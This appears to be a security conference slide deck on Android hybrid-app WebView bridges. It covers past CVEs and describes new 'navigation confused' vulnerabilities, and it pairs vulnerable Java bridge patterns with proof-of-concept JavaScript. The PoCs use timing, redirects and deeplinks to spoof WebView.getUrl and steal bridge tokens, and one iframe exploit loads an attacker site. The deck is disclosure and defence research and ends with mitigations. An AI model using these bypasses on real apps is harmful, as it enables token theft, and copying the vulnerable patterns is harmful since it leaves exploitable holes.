MIND THE BRIDGE — NEW ATTACK MODEL IN HYBRID MOBILE APPLICATION

CE QIN
OCTUPUS TEAM
WHO AM I

• Security researcher in Octopus team
• Used to focus on Browser
• Working with android applications
Browser

Hybrid App

Android App
Agenda

• Hybrid Application and Bridges
• Risks on Bridges
• New Threaten
• Mitigations
• Lessons Learned
Hybrid Application and Bridges

A. What is Hybrid application

B. WebView 101

C. Bridges in Hybrid application
Hybrid Application

- Native apps provide the full capability, the best features, and the best overall mobile experience
- Native apps are specific to a given mobile platform
- Html5 apps use standard web technologies, are easier to develop, easier to support, and can reach the widest range of devices
- Html5 apps can not access native features on the device
Hybrid Application

- Hybrid development combines the best of both the native and HTML5 worlds
- Hybrid Application like native apps, run on the device, and are written with web technologies
- Hybrid apps use common language like HTML, CSS and JS wrapped in native code to meet device and operating system requirement
Hybrid Application

- Hybrid apps run inside a native app container, and leverage the device’s browser engine to render the HTML and process the JavaScript locally.
- A web-to-native abstraction layer enables access to device capabilities that are not accessible in Mobile Web applications.
- For Android, the key point is WebView.
WebView101

- WebView is an Android View
  - A View that displays web pages.
  - A rectangular area in Android Application
  - Has Hundreds of APIs

- WebView is a Chromium embedder
  - One of the six platform support
  - Same compile-time flags as Chrome for Android, but lots of runtime differences
WebView architecture
WebView architecture

Browser (app’s process)
Network Service (in-process)
GPU Service (in-process)

Single renderer
Blink
V8

Browser (app’s process)
Network Service (in-process)
GPU Service (in-process)
Renderer (in-process)
Bridges

- Navigation callback
- JavaScript Interface
- JavaScript Event Handler
- H5 API
### Navigation callback

- Developers have the option of controlling navigation within WebView.
- Whenever there is a navigation on a WebView, the developer can intercept this or get notification.
  - `shouldOverrideUrlLoading`
  - `onPageFinished`
  - `onPageStarted`
  - `shouldInterceptRequest`
Navigation callback
Navigation callback

Browser's UI Thread

- ShouldOverrideUrlLoading
- Begin Navigation
- onPageStarted
- Should...
- Redirects
- Find renderer
- Frame has committed navigation
- Load Stop

Browser's Network stack

- Start url request
- shouldInterceptRequest
- Read response body

Renderer Process

- Commit
- Load
- onPageFinished

onPageStarted perform different after version 72.0.3585.0
JavaScript Interface

- The WebView API allows inserting Java objects into WebViews using the `addJavaScriptInterface()` method.
- Register a Java object with a specific WebView instance.
- JavaScript loaded in the WebView can have access to application’s internal Java code, giving web code the ability to interact more tightly with an app, and in some cases get access to system resources.
JavaScript Interface

- `javaObject` (application)
- `addJavascriptInterface` (invoke)
- `gin` (framework)
  - `Browser` (GinJavaBoundObject)
  - `Render` (GinJavaBridgeObject)
  - `glue` (inject, query)
  - `v8` (v8 Object)
  - `WebView`
Js Event Handler

- The WebView API allows developers to handle the alert, prompt and confirm JavaScript events, by registering the onJsAlert(), onJsPrompt() and onJsConfirm() Java callback methods.

- Whenever the JavaScript side calls any of these event methods, their respective handler will be called, if it is overridden.

- The developer is free to implement any logic in these event handlers.
H5 API

- The rise of HTML5 has brought in a set of APIs that can give web applications the ability to access device hardware via JavaScript.
- E.g. Geolocation and getUserMedia, which enable access to GPS and to media devices such as camera and microphone
- Developer needs to make use of onGeolocationShowPrompt (for geolocation), and onPermissionRequest (for media devices) to grant or deny permission to the requests.
Risks on bridges

A. CVE-2012-6336, CVE-2014-1939, CVE-2014-7224

B. App Clone Attack
C. H5 API Abuse
D. JavaScript Interface Abuse
E. Enforcement On Bridges
CVE-2012-6336

Ce Qin | Mind the bridge new attack model in hybrid mobile application
CVE-2012-6336

`JsBridge.getClass().forName("java.lang.Runtime")`
Ce Qin | Mind the bridge new attack model in hybrid mobile application

CVE-2012-6336

```java
addJavascriptInterface
if (mAppTargetSdkVersion >= 4.2)
{
    requiredAnnotation = JavascriptInterface.class;
}
```

- Any Object added by API addJavascriptInterface will have this restriction
CVE-2014-1939

https://android.googlesource.com/platform/frameworks/base.git/+/
f203aeef993b0f4ce65c9630d06bbd50a504e89f/core/java/android/webkit/BrowserFrame.java

class BrowserFrame

mSearchBox = new SearchBoxImpl(mWebViewCore, mCallbackProxy);

mJavaScriptObjects.put(SearchBoxImpl.JS_INTERFACE_NAME, mSearchBox);
private final WebViewClassic mWebViewClassic;
mTextToSpeech = new TextToSpeechWrapper(mContext);
mWebViewClassic.addJavascriptInterface(mTextToSpeech, ALIAS_TTS_JS_INTERFACE, false);

mCallback = new CallbackHandler(ALIAS_TRAVERSAL_JS_INTERFACE);
mWebViewClassic.addJavascriptInterface(mCallback, ALIAS_TRAVERSAL_JS_INTERFACE, false);
App Clone Attack

✓ setAllowFileAccess(true)
✓ setAllowFileAccessFromFileURLs(true)
✓ setAllowUniversalAccessFromFileURLs(true)
✓ Attacker can steal user private file with a malicious local html
App Clone Attack
H5 API Abuse

✓ setGeolocationEnable(true)

✓ onGeolocationPermissionsShowPrompt do not ask for user authorization

✓ attacker can use navigator.geolocation.getCurrentPosition to get user geolocation without notify
JavaScript Interface Abuse

- `addJavascriptInterface`
  - `getToken`
  - `downloadFile`
  - `readFile`
  - `installApp`
"Design Flaw" of JavascriptInterface

• JavascriptInterface will not pass render URL to application( embedder)

There is no way to tell the calling frame's origin from the app side, so the app must not assume that the caller is trustworthy unless the app can guarantee that no third party content is ever loaded into the WebView even inside an iframe.

• Application need to load unexpected web page for business reasons
Enforcement On Bridges

- Lifecycle based access control

- "real-time" access control
Lifecycle based access control
Lifecycle based access control

```java
webView.setWebViewClient(new WebViewClient()
    {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
            String inputUrl=request.getUrl().toString();
            jsObject.setCurrentHost(inputUrl);
            if (checkDomain(inputUrl,0))
            {
                return false;
            }
            return true;
        }
    });

@JavascriptInterface
public String getToken() {
    if (checkDomain(currentHost,1))
    {
        return "{"token":"1234567890abcdefg"};
    }
}
```
Lifecyle based access control

- proved to be unsafe
- Can be bypassed with Time-delay attack
Lifecycle based access control
Lifecycle based access control

```javascript
<script>
function render_navigation(){
    location.href = "https://www.google.com;" // a Url in WhiteList
}

function getToken(){
    window.JSBridge.getToken();
}

function bypass(){
    setTimeout(getToken,400); // time delay attack
    render_navigation();
}
</script>
```
"real-time" access control
"real-time" access control

```java
@JavaScriptInterface
void sensitiveFunction(){
    String current_url = getUrlFromMainThread();
    if(isInWhiteList(current_url)){
        doSensitiveThing();
    }
}

String getUrlFromMainThread(){
    String current_url="";
    UIUtil.runOnUIThread(
        new Runnable() {
            @Override
            public void run() {
                current_url = webView.getUrl()
                downLatch.countDown();
            }
        });
    return current_url;
}
```
"real-time" access control

- `location.href` will not affect `WebView.getUrl`
- In most cases
New Threaten

A. Tangled getUrl
B. Life of Navigation
C. Navigations in Hybrid App
D. Navigation Confused Vulnerability
• https://source.chromium.org/chromium/chromium/src/+/master/content/browser/renderer_host/navigation_controller_impl.cc;l=800?q=GetVisibleEntry&ss=chromium%2Fchromium%2Fsrc
Tagged getUrl

- During different types of navigation, WebView.getUrl will return different value.
Life Of Navigation

- Renderer-initiated navigations
  - Links, forms, scripts
  - (Less trustworthy: bad web pages can try to send you places, but not internal pages)

- vs Browser-initiated navigations
  - Omnibox, bookmarks, context menus, etc
Life Of Navigation

[Diagram: Life Of Navigation]

- Browser's UI Thread
  - Browser initiated navigation
  - Browser initialization
  - If no live renderer
  - Begin Navigation
  - Redirects
  - Find renderer
  - Frame has committed navigation
  - Load Stop

- Network service
  - BeforeUnload
  - Unload

- Old Renderer Process
  - Commit
  - Load

- New Renderer Process
Life Of Navigation

Browser's UI Thread
- Begin Navigation
- Redirects
- Find renderer
- DidCommitted
- Frame has committed navigation
- Load Stop
- Start url request
- Read response body

Browser's Network stack
- Renderer initiated navigation
- Before Unload
- Commit
- Load

Renderer Process
Navigation and Hybrid App

Browser-initiated Navigation

- java:WebView.loadUrl
- Do not need much check
- set pending_entry at the beginning of navigation
- Return pending_entry in getUrl

Render-initiated Navigation

- js: Location.href
- need lots of verifications
- do not set pending_entry
- Return last_commited_entry in getUrl
Browser VS Hybrid App

- Two types of navigation is strictly compartmentalized in general desktop browser
- Hybrid App allow JavaScript to interact with the host application through bridges
- Some assumption for browser is no longer suitable for Hybrid App
- Border between browser-initiated and render-initiated can be broken
Navigation confused attack

• "The pending entry is safe to return for new (non-history), browser-initiated navigations. Most renderer-initiated navigations should not show the pending entry."

• In Hybrid app `browser-initiate-navigation can also be invoked by render model with Bridges`

• `WebView.getUrl` will return `pending_entry` in this "Render-initiated navigation"
Navigation confused attack

• IF DEVELOPER DO NOT KNOW THE DIFFERENCE BETWEEN BROWSER-INITIATED-NAVIGATION AND RENDER-INITIATED-NAVIGATION, THERE WILL BE A VULNERABILITY
Vulnerability Model#1

• Direct Navigation Confused Vulnerability (DNCV)
Vulnerability Model#1

- Render can invoke Browser-initiated-navigation by JavascriptInterface
@JavaScriptInterface
void checkLogin(int loginType, String destUrl){
    if (this.accountService.hasLogin()){
        if (loginType == 3){
            this.mWebView.loadUrl(destUrl); // will invoke a browser initiated navigation
        }
    }
}

@JavaScriptInterface
String getToken(){
    String current_url = getUrlFromMainThread(); // mWebView.getUrl()
    if (isInWhiteList(current_url)){
        return this.mToken;
    }
}
DNCV In Real World

- Attacker call bridge checkLogin to invoke `webView.loadUrl`, it is a Browser initiated navigation.
- Browser initiated navigation will set pending_entry.
- Then attacker call `getToken`, this bridge get url from API `WebView.getUrl`.
- During Browser initiated navigation `WebView.getUrl` will return pending_entry — the fake url.
DNCV In Real World

```javascript
<script>
// will call WebView.loadURL internal
function browser_navigation()
{
    window.JSBridge.checkLogin(3, "https://www.google.com") // a Url in WhiteList
}

function getToken()
{
    window.JSBridge.getToken();
}

function bypass()
{
    setTimeout(getToken, 400); // time delay attack
    browser_navigation();
}

</script>
```
Vulnerability Model#2

• Redirect Navigation Confused Vulnerability (RNCV)
Vulnerability Model#2

- Render can invoke Browser-navigation by callbacks

```java
@JavaScriptInterface
void sensitiveFunction()
{
    String current_url = getUrlFromMainThread(); // mWebView.getUrl()
    if(isInWhiteList(current_url)){
        doSensitiveThing();
    }
}

public boolean shouldOverrideUrlLoading(WebView view, String url) {
    view.loadUrl(url); // convert render initiated navigation into browser initiated navigation
}
```

- It is extremely common ...
  - https://stackoverflow.com/questions/32561016/should-i-add-view-loadurlurl-in-shouldoverrideurlloading/32561824#32561824
RNCV In Real World#1

- redirect url matched a specific pattern will be treated as a protociled message
- application would extract another url inside, and load this new one

```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if ("protocol".equal(url.getScheme())){ // url matches a specific pattern
        String fallback = url.getParam("fallback_url"); // extract another url
        if (isInWhiteList(fallback)){
            view.loadUrl(fallback);
        } else {
            // do something else
        }
    }
}
```
RNCV In Real World#1

- Attacker can use location to trigger a render initiated navigation
- A render initiated navigation will trigger `shouldOverrideUrlLoading`
- A specific url in `shouldOverrideUrlLoading` will invoke `WebView.loadUrl`
- The render initiated navigation is converted into a browser initiated navigation
- Then attacker call `getToken`, this bridge get url from API `WebView.getUrl`
- `WebView.getUrl` will return pending_entry
RNCV In Real World#1

```html
<script>
// will call WebView.loadUrl internal
function browser_navigation(){
    //fallback_url is in WhiteList
    location.href = "protocol://app.pattern/?fallback_url=http%3A//www.google.com";
}

function getToken(){
    window.JSBridge.getToken();
}

function bypass(){
    setTimeout(getToken,400); // time delay attack
    browser_navigation();
}
</script>
```
RNCV In Real World#2

- Redirect url does not matched a specific pattern, means illegal
- WebView would be redirect to an hard coded url
- The hard coded url usually in white list.

```java
String pattern = "https://recharge.com/*";
String mainland = "https://google.com";  // it usually a url in white list
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (!Pattern.matches(pattern, url)) {  // url do not match pattern
        view.loadUrl(mainland);
    }
}
```
```html
<script>
// will call WebView.loadUrl internal
function browser_navigation()
{
    // redirect url do not match pattern
    location.href = "https://notmatchpattern.com/path";
}

function getToken()
{
    window.JSBridge.getToken();
}

function bypass()
{
    setTimeout(getToken,400);  // time delay attack
    browser_navigation();
}
</script>
```
Vulnerability Model#3

- Shared Navigation Confused Vulnerability (SNCV)
Vulnerability Model#3

- WebView reuse
- WebView Activity launchMode is SingleTask or SingleInstance
- Deeplink could launch activity and load page in WebView
- Deeplink could be convert into a Browser-initiated navigation in a single WebView Object.

```
<activity android:name="com.company.myApp.StoreWebActivity" android:exported="true"
    android:launchMode="singleTask" />
// can be launched by Deeplink
<intent-filter>
    <data android:scheme="hualalala"/>
</intent-filter>
</activity>
```
Vulnerability Model#3

WebView@06789f0

loadUrl("a.com")
loadUrl("b.com")
loadUrl("c.com")

location="hualalala://openPage/?url=https://c.com"

hualalala://openPage/?url=https://a.com
hualalala://openPage/?url=https://b.com
SNCV In Real World#1

• If WebView can trigger deeplink itself

```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    String url = request.getUrl().toString();
    if (url.startsWith("intent://")) {
        Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
        intent.addCategory("android.intent.category.BROWSABLE");
        intent.setComponent(null);
        intent.setSelector(null);
        startActivity(intent);
        return true;
    }
    if (!url.startsWith("https://")&&!url.startsWith("http://")) {
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        startActivity(intent);
        return true;
    }
    return false
}
```
SNCV In Real World#1

- Attacker use location to trigger a deeplink
- LaunchMode of the WebView is SingleTask
- WebView will be reused
- A DeepLink will be convert into a browser initiated navigation and set the url in deeplink to pending_entry
- During access control, WebView.getUrl will return the pending_entry
- Then attacker call getToken, this bridge get url from API WebView.getUrl
```javascript
// will call WebView.loadUrl internal
function browser_navigation()
{
    location.href = "hualalala://openPage?url=www.google.com"; // load a url in white list
}

function getToken()
{
    window.JSBridge.getToken();
}

function bypass()
{
    setTimeout(getToken, 400); // time delay attack
    browser_navigation();
}
</script>
```
SNCV In Real World#2

• Target WebView can not trigger deeplink itself

```java
webView.setWebViewClient(new WebViewClient(){
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
        String url=request.getUrl().toString();
        if (!url.startsWith("http")) {
            return true;
        }
        return false;
    }
});
```
SNCV In Real World#2

- Need a third part Browser help
- Attacker need trigger deeplink twice in sequence
- First deeplink load an attacker site to getToken
- Second deeplink load an trustful url
- Use JS event "visibilitychange" to do this atomatically
- Event will fire when the content of its tab have become visible or have been hidden
<script>
// The event is fired at the document when the content of its tab have become visible or have been hidden.
document.addEventListener('visibilitychange', function () {
    if (document.visibilityState == 'hidden') {
        setTimeout(bypass, 3000);
    }
})
// will launch target WebView and fire visibilitychange
function attack()
{
    var img = document.createElement('iframe');
    img.src = "hualala://openPage/?url=https://www.attacker.site"; // load a page to call JavascriptInterface
document.body.appendChild(img);
})

function bypass()
{
    var img = document.createElement('iframe');
    img.src = "hualala://openPage/?url=https%3A//www.google.com"; // load a white list url to bypass access control
    document.body.appendChild(img);
}
</script>

this exploit works in some third part browser like "quark" https://quark-browser.en.uptodown.com/android
Mitigations

A. Diagnostic Tools
B. Temporary mitigation
C. RichInterface
D. Other mitigations
Diagnostic Tools

- A path search tool based on Androguard
  - Find a path from JavascriptInterface to WebView.loadUrl
  - Find a path from navigation callbacks to WebView.loadUrl
  - Find a SingleTask launch mode Activity holding WebView

***************START***************
[*] lcom/example/activity/WebViewActivity31; shouldOverrideUrlLoading (Lcom/example/webview/DemoWebView; Ljava/lang/String;)Z
[*] lcom/example/activity/WebViewActivity; url (Lcom/example/webview/DemoWebView; Ljava/lang/String;)V
[*] lcom/example/webview/DemoWebView; loadUrl (Ljava/lang/String;)V
[*] android/webkit/WebView; loadUrl (Ljava/lang/String;)V
***************END***************
***************START***************
[*] lcom/example/JavaScriptInterface/DemoJavaScriptInterface; loadUrl (Ljava/lang/String;)V
[*] lcom/example/webview/DemoWebView; loadUrl (Ljava/lang/String;)V
[*] android/webkit/WebView; loadUrl (Ljava/lang/String;)V
***************END***************
Temporary solution

- Do not expose "loadUrl" to JavascriptInterface
- Do not expose "loadUrl" in lifecycle callbacks
- Mind the "launchMode" of WebView activities that can be started via deeplink
- Mind the reuse of WebView
"RichInterface" solution

- javaObject
- addJavascriptInterface
- invoke
- gin
- Browser
  - GinJavaBoundObject
- glue
- v8
- Render
  - GinJavaBridgeObject
  - IPC/mojo
  - query
  - inject
- v8 Object
- WebView

application
framework
"RichInterface" solution

Diagram:

- **javaObject**: application
- **addJavascriptInterface**: invoke
- **gin**
- **Browser**: GinJavaBoundObject
- **Render**: GinJavaBridgeObject
- **glue**
- **v8**: v8 Object
- **HwWebView**
"RichInterface" solution

class JsObject {
    private String currentUrl;
    @JavascriptInterface
    public String getToken() {
        if (isInWhiteList(currentUrl)) {
            return "{"token":"1234567890abcdefg"}";
        }
    }
    @JavascriptInterface
    public void setUrl(String url) { // This bridge will be called automatically
        this.currentUrl=url;
    }
}
"RichInterface" evaluation

![Diagram of RichInterface evaluation](image)
Other Mitigations

- **NoFrak**
  - <Breaking and Fixing Origin-Based Access Control in Hybrid Web/Mobile Application Frameworks>
  - [https://www.cs.cornell.edu/~shmat/shmat_ndss14nofrak.pdf](https://www.cs.cornell.edu/~shmat/shmat_ndss14nofrak.pdf)

- **Draco**
  - <Draco: A system for uniform and fine-grained access control for web code on android>
Lessons Learned

- Document will lead us
  - Weather we have read the document before we use the API, both "app clone attack" and "navigation confused vulnerability" are caused by inaccurate reading of the document and inadequate understanding
- For cross-platform framework, some preconditions may not meet in every platform
Reference

[2] https://docs.google.com/presentation/d/1Nv0fsiu0xtPQPyaWb0Fjzr9h2nh339-pq7ssWoNQg/edit#slide=id.g60fa90403c_2_57
[3] https://www.youtube.com/watch?v=OFlvyc1y1ws
[8] https://docs.google.com/document/d/1cSW8fpJUUnibQKU8TMwLE5VxYZPh4u4LNu_wtkok8UE/edit
Acknowledge

@Stanley873
@Z26889018
@XIAOXU44867836
Thank You

For your attention